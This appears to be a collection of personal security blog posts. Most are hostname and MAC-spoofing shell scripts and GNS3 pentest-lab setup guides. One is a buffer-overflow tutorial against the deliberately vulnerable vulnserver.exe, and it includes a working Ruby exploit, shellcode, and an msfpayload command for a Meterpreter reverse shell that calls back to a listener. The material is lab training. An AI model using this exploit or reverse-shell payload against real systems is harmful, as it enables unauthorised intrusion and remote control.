Hostroller 0.1 release | github.com/cyberandspace

Hey there,

back again with yet another little tool that makes it easier for you to spoof the trace you leave behind on a public wifi. Enter the Hostroller!

It is an easy shellscript that interactively changes the hostname of your Ubuntu 12.04 LTS to look something more like a generic Windows or random Macbook’s name. Just run it before you run macboot and voila your connection won’t look the same. Do it everytime you connect to a public wifi and you will smear the footprint your computer leaves behind.

Yet, beware that this is the very first release and it isn’t fully tested. So if you find some bugs please let me know. Also if you have suggestions how to improve the code in someway I’m all ears.

Thanks goes to http://www.blackmoreops.com, who inspired some lines of code:

http://www.blackmoreops.com/2013/12/12/change-hostname-kali-linux/#Change_hostname_randomly_in_each_boot_time

You can find the code now under my newly installed github repo at:
https://github.com/cyberandspace/hostroller

But I also include it here of course:

#!/bin/bash

# Alright now, introducing The Hostname Roller v 0.1 !
# A script to make your hostname look like a generic Windows or MacBook machine.
# In combination with the Macbot v 0.3 script it provides the ability to spoof
# the trace you leave on a (public) network.
#
#
# NEEDED PREREQUISITES:
# 
# - A wordlist from http://www.outpost9.com/files/wordlists/Given-Names.zip
#   that you need to copy to your /usr/share/dict/ directory for the script 
#   work. 
#
# - The file /usr/share/dict/american-english need to be present, too.
#
# - Also to start system services etc. you need to be root, or sudo the script
#
#
#

### Function that applies the changes provided by the main code block



rollit () {
  ### This part is taken from: 
  ### http://www.blackmoreops.com/2013/12/12/change-hostname-kali-linux/#Change_hostname_randomly_in_each_boot_time
  ##  Thanks for the good work mate.
  ##  I also modified the part about the fully qualified domainname, since it is not necessary if you don't want to run a server.

  cp -n /etc/hosts{,.old}
  idomainname=$(domainname -i)
  fdomainname=$(domainname -f)

  echo $new_hostname > /etc/hostname
  mv /etc/hosts /etc/hosts.old
  echo "127.0.0.1 localhost" > /etc/hosts
  echo "127.0.1.1 $new_hostname" >> /etc/hosts
  echo "$idomainname  $fdomainname    $new_hostname" >> /etc/hosts 
  echo "$idomainname   		       $new_hostname" >> /etc/hosts

  echo "# The following lines are desirable for IPv6 capable hosts" >> /etc/hosts
  echo "::1     localhost ip6-localhost ip6-loopback" >> /etc/hosts
  echo "ff02::1 ip6-allnodes" >> /etc/hosts
  echo "ff02::2 ip6-allrouters" >> /etc/hosts

  ## I'm not to sure about this part on Ubuntu, since the Author wrote this script for Kali.
  ## So to use this script on Kali, or other Linux distros, you might have to work on that part.


  ## Cleaning up the /etc/NetworkManager/NetworkManager.conf
  service network manager stop
  sed -i  "/^[keyfile]/d" /etc/NetworkManager/NetworkManager.conf
  sed -i  "/^hostname = .*/d" /etc/NetworkManager/NetworkManager.conf
  echo "[keyfile]" >> /etc/NetworkManager/NetworkManager.conf
  echo "hostname = $new_hostname" >> /etc/NetworkManager/NetworkManager.conf
  service network-manager start

  echo "Rolled hostname to: $new_hostname"
  echo
  echo
  exit
}



###
###	Main function
###

clear
echo '******* The Hostname Roller v 0.1 *******'
echo
echo
echo 'Select hostname pattern from following options: '
echo

PS3='Please enter your choice: '
options=("Option 1: Windows" "Option 2: Mac OSX" "Quit")

select opt in "${options[@]}"
do
    case $opt in
        "Option 1: Windows")
	    echo
            echo "Creating Windows hostname ..."
	    echo

            FILE=/usr/share/dict/american-english
	    WORD=$(sort -R $FILE | head -1)
            SEED=$RANDOM
	    PARTB=$(echo $SEED$WORD | md5sum | cut -c1,2,3,4,5,6,7,8,9,10,11 | tr '[:lower:]' '[:upper:]')
	    new_hostname=$(echo WIN-$PARTB)
	    rollit
	    break
	    ;;


   

        "Option 2: Mac OSX")
            echo
	    echo "Creating MacBook hostname ..."
	    echo

	    FILE=/usr/share/dict/Given-Names
	    NAME=$(sort -R $FILE | head -1)
	    new_hostname=$(echo "$NAME's MacBook")
            rollit
            break
	    ;;



        "Quit")
            break
            ;;
        *) echo invalid option;;
    esac
done



Advertisements

Writing a stack-based overflow exploit in Ruby with the help of vulnserver.exe and Spike 2.9

Hello again. Today we will use our trusty workhorse Kali Linux and the tool spike to fuzz a (deliberately) vulnerable network application on a Windows XP box. From the results of the fuzzing process, we then will create a custom exploit written in Ruby. The whole post is a remake of Andrew Whittakers fuzzing series on YouTube (https://www.youtube.com/user/Hackamuffin). Yet, I prefer to write the exploit in Ruby, because it is the scripting language I am familiar with.

Prerequisites:OS Virtualization (VMWare Workstation 9)
– Kali Linux 1.03 virtual machine
– Windows XP( or any above) virtual machine
– vulnserver.exe by Stephen Bradshaw (http://grey-corner.blogspot.com)
– Spike 2.9 (http://www.immunitysec.com/downloads/SPIKE2.9.tgz)
– Wireshark (included in Kali)
– The Windows and the Kali box should be on the same network (in our case 10.10.10.0/24), which should NOT be connected to the Internet.
– Obviously never use vulnserver.exe in any production environment, as it will open up your box for remote exploits

Installing Spike 2.9 on Kali Linux 1.03
We need install the Spike 2.9 on our Kali box. To do so we get the tarball from source and put in the directory we want to install it.

root@Kali:/usr/share/spike# tar xvfz SPIKE2.9.tgz
root@Kali:/usr/share/spike# cd SPIKE/SPIKE/src
root@Kali:/usr/share/spike/SPIKE/SPIKE/src# ./configure; make

After that you have the needed generic_send_tcp in place and can get to work.

Run vulnserver on your Windows box
To run vulnserver.exe on your Windows box just unzip the vulnserver.zip to the directory Vulnserver on your desktop and start up the commandline. (Open the run link in your start menu and type cmd.exe and hit enter)
Then change to the Vulnserver directory and run vulnserver.exe:

C:\Documents and Settings\Administrator>cd Desktop\Vulnserver
C:\Documents and Settings\Administrator\Desktop\Vulnserver>vulnserver.exe

Windows Firewall then will pop a warning, that asks if you want to allow vulnserver through the firewall. Agree and then port 9999 (vulnserver’s standard port) will be opened on your windows box.

Now to check if vulnserver is functional just telnet with your Kali box to it:

root@Kali:~/telnet 10.10.10.128 9999

You should now see the vulnserver menu and be able to issue the HELP command.
01_Vulnserv_Menu

Write a .spk script to run against vulnserver.exe
To actually run a test on any variable the vulnserver.exe program offers to the user, you need to tell spike where to navigate and what to do. We first choose the appropriate bash-script, which is in our case generic_send_tcp, since vulnserver.exe is a telnet connection. Now to navigate Spike to the function to fuzz we write a short script file (.spk), that includes the needed commands. First let’s run a test on the function STATS. Just open an editor and enter this code:

s_readline(); #Tells Spike to read what vulnserver sends
s_string(“STATS “); #As if a user would put in STATS in the shell
s_string_variable(“COMMAND”); #Randomizes user input (COMMAND)

Now we just run generic_send_tcp with our script:

root@Kali:/usr/share/spike/SPIKE/SPIKE/src/# generic_send_tcp 10.10.10.128 9999 /usr/share/spike/SPIKE/SPIKE/src/scripts/vulnserver.spk 0 0

02_Fuzzing_STATS
The last line “Done” in addition to vulnserver.exe still running on our Windows box gives us the confirmation that the function STATS is not vulnerable. Now we just replace the STATS with TRUN and save the modified script under vulnserver2.spk:

s_readline(); #Tells Spike to read what vulnserver sends
s_string(“TRUN “); #As if a user would put in STATS in the shell
s_string_variable(“COMMAND”); #Randomizes user input (COMMAND)

root@Kali:/usr/share/spike/SPIKE/SPIKE/src/# generic_send_tcp 10.10.10.128 9999 /usr/share/spike/SPIKE/SPIKE/src/scripts/vulnserver.spk

03_TRUN
As we can see, Spike isn’t able to connect to the vulnserver on the Windows XP box anymore.
If we check on the Windows box, vulnserver.exe just crashed.

Debugging vulnserver.exe’s crash
To see the debuged output you need to set your Windows registry to the following settings:
First enter regedit in Windows’s RUN prompt. Then you need to go to the following entry:

MyComputer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

drwatson
Then set the variables to the following values:
Auto = 1
Debugger = drwtsn32 -p %ld -e %ld -g

Whereas you can use your debugger of choice here, but for this tutorial Dr.Watson serves our purposes well enough. (The options here are the standard options that come with WinXP SP3, and invoke drwtsn32.exe on any crash.)

Next we restart vulnserver.exe and go back to our Kali box to start up Wireshark.

We then choose to listen on the interface eth0 and start capturing. After that, we repeat the above mentioned fuzzing process with Spike and when done stop capturing in Wireshark.

We then apply the following filter to the capture ip.dst==192.168.178.130 to focus on the important traffic.
Now we can dig through the data by right clicking on the first packet and select the Follow TCP Stream option.
In that case we need to click on Filter Out This Stream to discard that stream from our capture data. This is because the TRUN COMPLETE message gives away that the vulnserver.exe is still running.
follow_tcp_string
Now we go to the next packet, choose the Follow TCP Stream option again and look at the content of the conversation.
follow_tcp_string2
We see the vulnserver.exe’s banner again and then a ‘TRUN /…/’ followed by a whole bunch of ‘A’ characters. Since there is no reply in the TCP conversation, we know that this is the part that caused the vulnserver.exe to crash. We then proceed in Wireshark by selecting only the 5010 bytes our Kali box sent to the vulnserver.exe and save that part on our disk. A simple wc -m on the just saved file that reveals that 1 byte equals one character.
So we now now that minus the ‘TRUN /…/’ we need to send (at least) 5000 bytes to get the TRUN function of vulnserver.exe to crash.
To determine exactly at which memory address the crash occurs we are going to write a Ruby script that sends the open socket of vulnserver.exe a custom junk data string. We can create such a junk data string easily with the following command:

root@Kali:/usr/share/metasploit-framework/tools/# pattern_create.rb 5000

We then need to put the created data stream in the following ruby script:

#!/usr/bin/ruby
#This script shoots custom junk data of 5000 bytes to the specified port and #address. The 'junk' string was created with pattern_create.rb 5000
require 'socket'
t = TCPSocket.new('10.10.10.128', '9999')

header = 'TRUN /.../'
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6 ----SNIP---- gGk4Gk5Gk'

command = header+junk
data = t.recv(1024)
puts data
t.send(command, 0)
t.close

### End of script ###

We now start vulnserver.exe again and then execute the script. Vulnserver will crash again and if you look at the details given you by the Dr.Watson Debugger you’ll see that instead of the 41414141, the address now holds 386f4337 in memory.
Offset

Exploit development
Now we can see the output of Dr.Watson which refers to an offset of 386f4337. Thus, we now found the spot in the memory where we could overflow the buffer with our own shellcode.
Now to find the matching byte we can run the following command:

root@Kali:/usr/share/metasploit-framework/tools/# pattern_offset.rb 0x386f4337 5000

exact_match
The exact byte of the return address is in our case 2003, which is the byte after we overwrite the EIP register. To execute our own shellcode we first send 2003 characters as junk-data to vulnserver.exe, then find a JMP ESP register to jump to our shell code and finally feed it our own shell code to execute.
So to find a JMP ESP register that we can use for our purposes we make a copy of the essfunc.dll and load it to our Kali box. There we use the following command:

root@kali:/usr/share/metasploit-framework/msfpescan -j esp essfunc.dll

jmpesp
We can see there are several JMP ESP pointers to choose from, so we just take the first: 0x625011AF, which to use it on the x86 processor architecture has to be encoded to Little Endian Format, which looks like that: 0xAF115062. But we will in turn include that conversion step into our exploit.

Planting a command line shell
So now that we got it all together we need to create the shell code we actually want to inject. Most tutorials about fuzzing vulnserver just let pop up the calc.exe in Windows as a proof of concept. I want to take it a step further and create a reverse tcp shell on the victim host. The following command sets up a the a reverse tcp shell that connects back to the listener at 10.10.10.130:8080 and uses the shikata_ga_nai encoder to obfuscate the code. Also the output is given in the Ruby format:

msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=8080 LHOST=10.10.10.130 R | msfencode -e x86/shikata_ga_nai -t ruby

Now to put it all together we need to create our exploit. We therefore utilize Ruby and put it all together:

#!/usr/bin/ruby

require 'socket'

# Opens up a socket at the given address and port
t = TCPSocket.new('10.10.10.128', '9999')

# The next line is the part responsible for executing the TRUN command.
header = 'TRUN /.../'

# The next line fills the buffer of the TRUN command with 2003 times the letter B.
# 2003 being derived from the program
junk = "\x42".chr * 2003

eip = [0x625011AF].pack("V")

# The NOP sled isn't strictly necessary here but is common in many exploits
nop = "\x90".chr * 16

# This is the shellcode generated in metasploit that causes the shell to spawn
shellcode = "\xbd\x83\x6f\x13\xe2\xd9\xee\xd9\x74\x24\xf4\x58\x2b\xc9" +
"\xb1\x48\x83\xe8\xfc\x31\x68\x11\x03\x68\x11\xe2\x76\x93" +
"\xfb\x64\x78\x6c\xfc\x08\xf1\x89\xcd\x1a\x65\xd9\x7c\xab" +
"\xee\x8f\x8c\x40\xa2\x3b\x06\x24\x6a\x4b\xaf\x83\x4c\x62" +
"\x30\x22\x50\x28\xf2\x24\x2c\x33\x27\x87\x0d\xfc\x3a\xc6" +
"\x4a\xe1\xb5\x9a\x03\x6d\x67\x0b\x20\x33\xb4\xa0\x7a\xa4" +
"\xbc\x55\xc8\xc5\xed\xcb\x47\x9c\x2d\xed\x84\x94\x67\xf5" +
"\xc9\x97\x3e\x8e\x39\x63\xc1\x46\x70\x8c\xf3\xa6\xde\xb3" +
"\x3b\x2b\x1f\xf3\xfc\xd4\x6a\x0f\xff\x69\x6c\xd4\x7d\xb6" +
"\xf9\xc9\x26\x3d\x59\x2a\xd6\x92\x3f\xb9\xd4\x5f\x34\xe5" +
"\xf8\x5e\x99\x9d\x05\xea\x1c\x72\x8c\xa8\x3a\x56\xd4\x6b" +
"\x23\xcf\xb0\xda\x5c\x0f\x1c\x82\xf8\x5b\x8f\xd7\x75\x06" +
"\xd8\x14\xb7\xb9\x18\x33\xc0\xca\x2a\x9c\x7a\x45\x07\x55" +
"\xa4\x92\x68\x4c\x10\x0c\x97\x6f\x60\x04\x5c\x3b\x30\x3e" +
"\x75\x44\xdb\xbe\x7a\x91\x4b\xef\xd4\x4a\x2b\x5f\x95\x3a" +
"\xc3\xb5\x1a\x64\xf3\xb5\xf0\x0d\x99\x4c\x93\x3b\x57\x45" +
"\xe1\x54\x65\x59\xfa\x34\xe0\xbf\x6e\x25\xa4\x68\x07\xdc" +
"\xed\xe3\xb6\x21\x38\x8e\xf9\xaa\xce\x6e\xb7\x5a\xbb\x7c" +
"\x20\xab\xf6\xdf\xe7\xb4\x2d\x75\x08\x21\xc9\xdc\x5f\xdd" +
"\xd3\x39\x97\x42\x2c\x6c\xa3\x4b\xb8\xcf\xdc\xb3\x2c\xd0" +
"\x1c\xe2\x26\xd0\x74\x52\x12\x83\x61\x9d\x8f\xb7\x39\x08" +
"\x2f\xee\xee\x9b\x47\x0c\xc8\xec\xc8\xef\x3f\xed\x35\x26" +
"\x06\x6b\x4f\x4c\x6a\xb7"

# This part puts together the whole exploit to send to vulnserver
command = header+junk+eip+nop+shellcode

# This part receives the welcome banner of the vulnserver
data = t.recv(1024)
puts data

# This part shows and sends the shellcode to the server
puts command

t.send(command, 0)

# This part closes the connection to the server.
t.close

To test the script I started vulnserver.exe (of course) and ran a shell handler on port 8080 on Armitage. Sure as gold a session popped up as soon as I ran the script on my Kali box.
Bang
Final thoughts

Well there are way more detailed tutorials on the vulnserver.exe creator’s page, to cover all in more technical detail. For me it was a great exercise to practice my Ruby skills, learning about new tools and it also gave some hint on how exploitation really works. Yet, if you liked the exercise I highly recommend visiting following sites, that provide you with a deeper understanding of the material:

https://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1
https://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2

Macbot 0.2 – An interactive commandline script for macchanger *** Major Bugfix ***

*** MAJOR BUGFIX, Version 0.2 release ***

Ever got angry when Network Manager didn’t use the new MAC address you just assigned to interface wlan0? Macbot 0.2 is the solution to your problems.

Just finished this little script that makes changing your MAC address easier. It runs under root in any Debian environment and needs macchanger and bash installed.

1. It will just query you for the interface you want to change.

2. It will shut down network-manager

3. It will change your maccaddres via (macchanger -A option).

4. It will rename your WLAN networks in /etc/NetworkManager/system-connections/ , changing ‘space’ to ‘_’

5. It will let you select the WLAN with which you want to use the spoofed MAC address

6. It will change the file accodingly and display back what your new MAC address is, then quits.

If you got improvements, corrections or any other comments, let me know.

Changelog 0.2:
—————

Major fixes:

– Fixed the part that places the cloned-mac-address=XX:XX:XX:XX:XX:XX into the corresponding
/etc/NetworkManager/system-connections/file. Now, it doesn’t put it fixed into line 12 of the
the WLAN file, but actively looks for any ‘cloned-mac-address=XX:XX:XX:XX:XX:XX’, deletes
it and writes it anew, just below the ‘mac-address=XX:XX:XX:XX:XX:XX’ string, where it does
belong!

Minor fixes:

– Modified output string, so it repeats the chosen interface.

—————

Code:

#!/bin/bash

# This is the macbot.sh script. An easy script to interactively run macchanger on debian distributions employing network-manager.
# Needs to be run as root.
# Thanks to Hai @ http://wuhrr.wordpress.com for the bit with select, and http://chris.com/ascii/index.php?art=television/futurama
# for the ascii_art.
# GNU General Public License applies.
# Author: Manuel Weber (mmweber@gmx.net)


#	This is the main screen.
#	It includes user input for network interface that mac has to be changed.
#	Sanitizing input has yet to be implemented.
#
#  Changelog 0.2
#--------------------
#
#  - Fixed the part that places the cloned-mac-address=XX:XX:XX:XX:XX:XX into 
#    doesn't put it fixed into line 12 of the the WLAN file, but actively looks
#    for any 'cloned-mac-address=XX:XX:XX:XX:XX:XX', deletes it and writes it 
#    anew, just below the 'mac-address=XX:XX:XX:XX:XX:XX' string, where it does
#    belong!
#  
#  - Modified output string, so it repeats the chosen interface.	
#
#--------------------


echo
echo
echo "		###	The MAC Bot 0.2		###"
echo
echo
echo
echo "			   T		"
echo '			 .-"-.		'
echo "			|  ___|		"
echo "			| (.\/.)	"
echo "			|  ,,,' 	"
echo "			| '###		"
echo "			 '----'		"


-

echo
echo
echo 'Enter the WLAN interface you want to change (eg. wlan0, wlan1,...) : '
echo


read int 
echo

ifconfig $int down
service network-manager stop
macchanger -A $int
echo
echo

mac=`ip link show $int | awk '/ether/ {print $2}'`


# This part asks the user which Network has to be configured.
# 
#

echo 'List of available, already used WLANs: '
echo
echo




# Changes to network directory
cd /etc/NetworkManager/system-connections/



# Change network names to be withouth space characters
rename "s/ /_/g" *



# Set the prompt for the select command
PS3="Type a number or 'q' to quit: "



# Create a list of files to display
fileList=$(find . -maxdepth 1 -type f)




# Show a menu and ask for input, then remove any old cloned MAC addresses
# and replace them with a fresh one.

select fileName in $fileList; do
	if [ -n "$fileName" ]; then
		sed -i  "/^cloned-mac-address=.*/d" ${fileName}
		sed -i  "/^mac-address=.*/a\cloned-mac-address=$mac" ${fileName}

	fi
	break
done



ifconfig wlan0 up
service network-manager start

echo
echo
echo
echo "Changed MAC address of interface $int to: $mac"
echo
echo
echo

# Functionality to add to script:
# 1. Display network interfaces to choose from
# 2. Display macchangermodes, a)Custom b) Another c)random
# 3. 

Building a DMZ lab for pentesting in GNS3 and VMWare Workstation9 (Part II: Basic Layout)

Hello again, fellows.

Today we’re using the preconfigured (see Part I) GNS3 to build our basic lab. Imagine the following scenario:

Your pentesting company got contracted by a small company to do a white/grey box pentest. This means you know everything about the present IT infrastructure and got all info on software patchlevels and hardware used. And to safely mitigate possible downtimes or other unforseen consequences of a full-blown pentest on the production network, network simulation comes in handy.

Also if your pentesting company is contracted to do a black box pentest a virtual network that is built on findings from the information gathering process can be used as a test environment before actually conducting the test on the real systems.

As for our pentest we choose a mid-sized software company called Noob.net with the following network properties:

  • Dual firewall DMZ with port forwarding
  • Webserver & Services (Email, DNS, etc.) in DMZ
  • Internal network that is split into VLANs according to department (Management, IT, Software Development, Sales)
  • Routing via OSPF, backed up by static routes

As prerequisites you need at least two different iOS images and one PIX image. In our case we use the following:

Firewall: PIX 803

Router_FW_Internal: c3725-advsecurityk9-mz.124-19b.image

RouterDMZ & Router_ISP: c2691-jk9s-mz.123-17.image

Pic4_Pix_config

PIX configuration in GNS3

Additionaly you should have a few virtual machine handy that to do ping/traceroute tests. I use a Windows XP SP3 and a Kali Linux VM to do so.

First of before we start we need to assign IP and subnet addresses and VLANs. The following table includes all the information necessary to model your virtual networks after.

Note: Due to the constraints of the VMWare Networks I only used subnetting on the interfaces that interconnect the routers with the firewall (PIX).

Dept. VLAN If. # of IP-Add. CIDR Network Subnet Mask
Management 10 F0/1 @ Router 254 /24 10.10.10.0 255.255.255.0
IT (DMZ) 254 /24 172.16.100.0 255.255.255.0
Software Development 200 F1/0 254 /24 10.10.200.0 255.255.255.0
Sales 300 F2/0.30 @ Router 254 /24 10.10.30.0 255.255.255.0
Marketing 400 F2/0.40 @ Router 254 /24 10.10.40.0 255.255.255.0
Internet” 254 /24 192.168.10.0 255.255.255.0
Internal ↔ PIX F0/0 @ router e0 @ PIX 2 /30 10.0.0.0 255.255.255.252
PIX ↔ DMZ E1 @ PIX F0/0 @ DMZ 2 /30 192.168.0.0 255.255.255.252
PIX ↔ Ext E4 @ PIX F0/0 @ Ext 2 /30 192.168.0.4 255.255.255.252

The next table shows the interal (Router_FW_Internal) router’s ports and their connectivity:

If Connected to IP-Address VLAN
F0/0 Firewall External @ E0 10.0.0.1
F0/1 Management_Switch @ 1 10.10.10.2 10
F1/0 SoftwareDev_Switch @ 1 10.10.200.2 200
F2/0 Setup_Interface 10.10.20.1 dot1q
F2/0.300 Sales_Marketing_Switch @ 1 10.10.30.2 30
F2/0.400 Sales_Marketing_Switch @ 1 10.10.40.2 40

The following table shows the Firewall’s (PIX) connections.

Port Connected to IP Address / CIDR
E0 Router_FW_Internal @ F0/0 10.0.0.2 /30
E1 Router_DMZ @ 1 192.168.0.1 /30
E5 Router_ISP @ 1 192.168.0.5 /30

The following table shows the Router_ISP’s connections

Port Connected to IP Address / CIDR
F0/0 PIX @ E4 192.168.0.6 /30
F0/1 Internet @ vmware8 192.168.10.2 /24

The following table shows the RouterDMZ’s connections

Port Connected to IP Address / CIDR
F0/0 PIX @ E1 192.168.0.2 /30
F0/1 Internet @ vmware13 172.16.100.2 /24

The next table shows the Virtual Networks used and their configuration:

Name IP Range resembles VLAN
Vmnet8 192.168.10.0/24 Internet
Vmnet13 172.16.100.0/24 IT (DMZ)
Vmnet14 10.10.10.0/24 Management 10
Vmnet16 10.10.200.0/24 SoftwareDev 200
Vmnet17 10.10.300.0/24 Sales 30
Vmnet18 10.10.400.0/24 Marketing 40

Here is a picture what the topology should look like:

Pic5_Topology

Network topology in GNS3

Next we need to configure the router to enable routing between the internal networks and the DMZ and the Internet respectively.

Note that the commands described within this tutorial are always executed from enable mode.

Router_FW_Internal

So we log into the console of Router_FW_Internal and start with the interface facing the internal network that connects to the management LAN. First off, we’re going to apply the correct IP addresses to the corresponding interfaces:

Conf t

int fastEthernet1/1

description toMGMT

no shut

ip address 10.10.10.2 255.255.255.0

full-duplex

exit

Next up we’re going to setup basic security configurations on the switch, starting with the enable secret and password encryption.

conf t

enable secret Cisco1

service password-encryption

Then we’re going to implement SSH connectivity on the standard VTY lines (0-5) and disallow Telnet. But first we have to give the router a qualified domain name and generate a RSA key pair.

ip domain-name noob.net

crypto key generate rsa

→ Choose 1024 to support SSH v.2

line vty 0 5

login local

transport input ssh

ip ssh version 2

motd-banner

exit

line con 0

login local

motd-banner

exit

Then we generate a username with password.

username admin password administrator

Let’s create a banner to warn potential intruders. We also need to enable the messasge-of-the-day banner on the VTY lines.

banner motd # Trespassers will be prosecuted. #

line vty 0 5

motd-banner

exit

Next we will configure interface f1/0. The connection to the Software Development switch:

conf t

int fastEthernet1/0

description toSoftDev

no shut

ip address 10.10.200.2 255.255.255.0

full-duplex

exit

We will configure interface f2/0 as a Router-on-a-stick configuration since Marketing and Sales share the same switch, but they should be on different broadcast domains. Therefore we add the following commands:

conf t

int fastEthernet2/0

description setup_if

ip address 10.10.20.2 255.255.255.0

no shut

exit

int fastEthernet2/0.30

no shut

description to_Sales

encapsulation dot1Q 30

ip address 10.10.30.2 255.255.255.0

no shut

exit

int fastEthernet2/0.40

description to_Marketing

encapsulations dot1Q 40

ip address 10.10.40.2 255.255.255.0

no shut

exit

The next step will connect the internal router/firewall to the external firewall.

conf t

int fastEthernet0/0

no shut

ip address 10.0.0.1 255.255.255.252

description toFirewallExt

We also need to configure static routing as a back-up system. Therefore we will add an administrative distance of 250 to the route:

ip route 0.0.0.0 0.0.0.0 10.0.0.2 250

To prevent access from any unauthorized users we now put a few extended ACLs in place. We start with the access list for int fa0/1 (MGMT). This list will prevent traffic coming from the MGMT network to reach the other local networks.

conf t

access-list 100 remark fromMGMT

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 100 permit ip any any

int fastethernet 0/1

ip access-group 100 in

We now repeat these steps for all the internal interfaces starting with fa1/0.

conf t

access-list 101 remark fromSoftDev

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 101 permit ip any any

int fastethernet 1/0

ip access-group 101 in

We also need to setup an ACL for sub-interface fa2/0.30

conf t

access-list 102 remark fromSales

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 102 permit ip any any

int fastethernet 2/0.30

ip access-group 102 in

The next step will be to configure an ACL for sub-interface fa2/0.40

conf t

access-list 103 remark fromMarketing

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 103 permit ip any any

int fastethernet 2/0.40

ip access-group 103 in

With those ACLs in place our internal network will be fairly secure. The ACLs we put in place will make it impossible to directly access the other networks. Yet, it will still be possible to connect to the Internet or to the DMZ.

Firewall configuration (PIX)

Now on the external firewall (PIX), we need to do some basic configurations.

conf t

enable password Cisco1

int ethernet 0

description toInternal

nameif inside

security-level 100

ip address 10.0.0.2 255.255.255.252

no shut

int ethernet 1

description toDMZ_Router

nameif DMZ

security-level 50

ip address 192.168.0.1 255.255.255.252

no shut

int ethernet 4

description toISP_Router

nameif outside

security-level 0

ip address 192.168.0.5 255.255.255.252

no shut

We will now enable the routing between the different interfaces. Again with an administrative distance of 250. Note also how all internal destinations are within the 10.0.0.0/8 network and we can therefore use route summarization:

route outside 0.0.0.0 0.0.0.0 192.168.0.6 250

route inside 10.0.0.0 255.0.0.0 10.0.0.1 250

route DMZ 172.16.100.0 255.255.255.0 192.168.0.2 250

To enable ICMP (ping) traffic from the inside interface to the DMZ we also need to put in place the following access list and attach it inbound to the DMZ interface.

access-list ICMP permit icmp any any

access-group ICMP in interface DMZ

RouterDMZ

Next up is the Router that connects the DMZ to the PIX firewall. We will establish static routing and some minor security features:

conf t

enable secret Cisco1

service password-encryption

username admin password administrator

ip domain-name noob.net

crypto key generate rsa [1024]

banner # Access to permitted personel only. #

banner motd # Trespassers will be prosecuted.#

line vty 0 5

transport input ssh

motd-banner

login local

line con 0

motd-banner

login local

int fastEthernet 0/0

description to PIX_FW

ip address 192.168.0.2 255.255.255.252

int fastEthernet 0/1

description to_DMZ

ip address 172.16.100.2 255.255.255.0

ip route 0.0.0.0 0.0.0.0 192.168.0.1 250

Router_ISP

conf t

enable secret Cisco1

service password-encryption

username admin password administrator

ip domain-name noob.net

crypto key generate rsa [1024]

banner # Access to permitted personel only. #

banner motd # Trespassers will be prosecuted.#

line vty 0 5

transport input ssh

motd-banner

login local

line con 0

motd-banner

login local

interface fastethernet 0/0

description to_PIX_FW

ip address 192.168.0.6 255.255.255.252

interface fastEthernet 0/1

description INTERNET

ip address 192.168.10.2 255.255.255.0

ip route 10.0.0.0 255.0.0.0 192.168.0.5 250

ip route 172.16.100.0 255.255.255.0 192.168.0.5 250

Short summary:

We built a DMZ network were traffic can flow from each VLAN to the outside. Yet, any IP traffic between the VLANS is blocked by ACLs.

The VLANs also can connect to the DMZ, but not vice versa.

The DMZ can connect to the outside.

The Outside is not able to reach the anything.

Static routing as a backup measure is in place, but will be upgraded by OSPF in the next post.

If you got any questions or need clarification on something, feel free to ask.

Cheers,

Manuel

Building a virtual network lab for pentesting with GNS3, dynamips, qemu/pemu and VMWare Workstation9

Building a DMZ lab for pentesting in GNS3 and VMWare Workstation9 (Part I: Software setup)

Allright fellows, second post.

The goal of the following series of posts is how to setup a DMZ network environment with the help of GNS3, dynamips, qemu/pemu and VMWare Workstation 9.

The use of a network simulator and virtual machines is a good setup for a versatile pentesting lab, since it can resemble almost any network/OS combination out in the wild; within the given hardware and software restrictions.

There are some limitations though. With Cisco switch IOS’s code being propriety, it is impossible to simulate those directly. Yet, with a modified router IOS a Cisco switch with features like VLAN and trunking can be simulated.

The main objective is to be able to test various attack scenarios in a lab environment, that includes port-forwarding, DMZ architecture and testing of Firewall/IDS components like IPCop and SecurityOnion.

In the follow-up I want also to show some classic pentesting scenarios like a client-side attack, a web server attack from the outside and MITM attacks from certain entry points of the network.

But first off we need to get the combination of the needed software running on the a up-to-date [01/01/2014] Ubuntu 12.04 LTS.

You need a working copy of VMWare Workstation 9. I won’t explain how to install this software because there’s already enough documentation provided.

To get GNS3 and dynamips you can simply type at a terminal:

sudo apt-get install gns3 dynamips

To install a qemu version that works with the setup I used the following commands:

cd /tmp

wget -O QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz http://sourceforge.net/projects/gns-3/files/Qemu/Linux/QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz/download

tar xvf QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz

cd QEMU-0.11.0-GNS3-Ubuntu-Linux/

sudo ./Qinstall

To install pemu you need to download it here:
http://sourceforge.net/projects/gns-3/files/Pemu/2008-03-03/pemu_2008-03-03_bin.tar.bz2/download
Then unpack:

bunzip pemu_2008-03-03_bin.tar.bz2

tar xvf pemu_2008-03-03_bin.tar

